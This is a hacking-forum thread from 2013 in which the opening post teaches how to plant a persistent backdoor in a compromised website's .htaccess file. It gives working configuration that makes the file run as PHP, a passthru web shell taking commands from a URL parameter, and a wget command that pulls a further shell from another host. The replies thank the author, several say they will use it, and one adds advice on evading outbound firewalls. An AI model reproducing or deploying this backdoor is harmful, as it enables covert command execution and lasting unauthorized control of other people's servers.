Thread: [{TUT} Create Backdoor in .htaccess {TUT}](#)

133720 - August 28, 2013, 9:00 pm

Firstly,I want to say thank my friend Mr.Sample

In this Tutorial we will create Backdoor in .htaccess(Hypertext access)

Go public_html in shell and need to edit the .htaccess. ?

Code <Files ~ "\.ht">

Order allow,deny

Allow from all

</Files>

AddType application/x-httpd-php .htaccess

<?php passthru(\$_GET['cmd']); ?>Add or Save code in .htaccess.

[img]http://s22.postimg.org/beekb7owh/image.jpg[/img]

And need to type CMD Commands like this

Code yoursite.com/.htaccess?cmd=

For Shell Upolad

Code yoursite.com/.htaccess?cmd=wget -O simple.php http://yourothersitewithshell/yourshell.txt

[img]http://s24.postimg.org/pjoyqsahh/image.jpg[/img]

okay now you can access your shell..

[img]http://s14.postimg.org/avylus3kx/image.png[/img]

Have Fun!

??

Bat™ - August 28, 2013, 9:08 pm

Informative thread, btw can you make a thread for bypassing outbound firewalls?

Toasties - August 28, 2013, 9:08 pm

nice tutorial, it looks good as :D

dam it, close to first psot ahha

133720 - August 28, 2013, 9:10 pm

You are Welcome.

Thanks for feedback.

(Aug 28, 2013 09:08 PM)Sheldon™ Wrote: [\[CITE\]](#) Informative thread, btw can you make a thread for bypassing outbound firewalls?

i need to learn for write.

Thanks about feedback

?

Flaaffy - August 29, 2013, 5:56 am

i dont get the point of this. Any admin with a tiny bit of knowledge can pick this up.

BeggFoMercy - August 29, 2013, 8:16 am

It's pickable by any admin , YES , But I think It's still some good way of injecting a tiny shell into a .htaccess .

Flaaffy - August 29, 2013, 8:23 am

Are you really Legion Teacher 'BeggFoMercy'?

Skorp - August 29, 2013, 10:42 am

Everyone is in Legion nowadays, no suprise.

VipVince - August 29, 2013, 10:56 am

Judging from them directory names, I am more intrigued to which website this is...

?XilluX - August 29, 2013, 10:57 am

Yes looks like a nice Thread ! :) Thanks for the share.

The tutorial, is good :^)Thanks for feedback.

I hope will help you when you make backdoor in htaccess

are you on shrooms?

Uhhh , It was a typing mistake , I was on Marijuana xD .

ghost of christmas past - November 25, 2013, 4:48 pm

This is a nice little trick, I find. Although, the PHP backdoor script you used isn't the best, as passthru() could be disabled, it's always best to try all the options as you may only get one chance.

Oh yeah, in your example you went:

1. Create .htaccess from shell.
2. Wget the same shell from .htaccess.
3. Go back to shell.

I just found that funny.

Nevertheless, nice write-up.

(Aug 28, 2013 09:08 PM)Bat™ Wrote: [\[CITE\]](#) Informative thread, btw can you make a thread for bypassing outbound firewalls?

Use trusted ports (443, 80, 8080, 8181, etc.) or just hijack a socket.

?Scarface - November 25, 2013, 5:15 pm

Pretty interesting, thanks :)

(Aug 29, 2013 10:56 AM)VipVince Wrote: [\[CITE\]](#) Judging from them directory names, I am more intrigued to which website this is...

Yeah, I'm curious about it too ?

MartinZ1337 - November 27, 2013, 10:09 am

It's pickable by any admin , YES , But I think It's still some good way of injecting

Generals - November 27, 2013, 10:13 am

i thought mod_security blocked "wget" or "ls" command in the "GET" HTTP Request.

Icmp Traffic - November 27, 2013, 6:39 pm

why not make some thing to inject that code in only php files would be alot better then it prints all the links to files it did it in i could do this :)

wcxwcx11 - November 28, 2013, 4:21 pm

Just a little stupid question. If you already have acces to the FTP or CPanel, why would you put a shell on the website?

lolloz - November 28, 2013, 6:31 pm

nice trick i will use it thanks a lot!!

roda - November 28, 2013, 8:19 pm

Thank you for this. Will try it sure!

133720 - November 28, 2013, 8:23 pm

Thanks for good feedback.

Love you all guy.

ShadowRi5ing - December 1, 2013, 7:10 am

Really great tutorial, seems like a pretty hard-to-find backdoor! Thank you!

133720 - December 1, 2013, 5:53 pm

I think you know how backdoor work.

Thanks for the feedback. ??

Goodies - December 1, 2013, 8:53 pm

Oh wow! That's interesting :) Thanks for the info! Useful in active website you've shelled and want a backdoor :)

~ Goodies ?
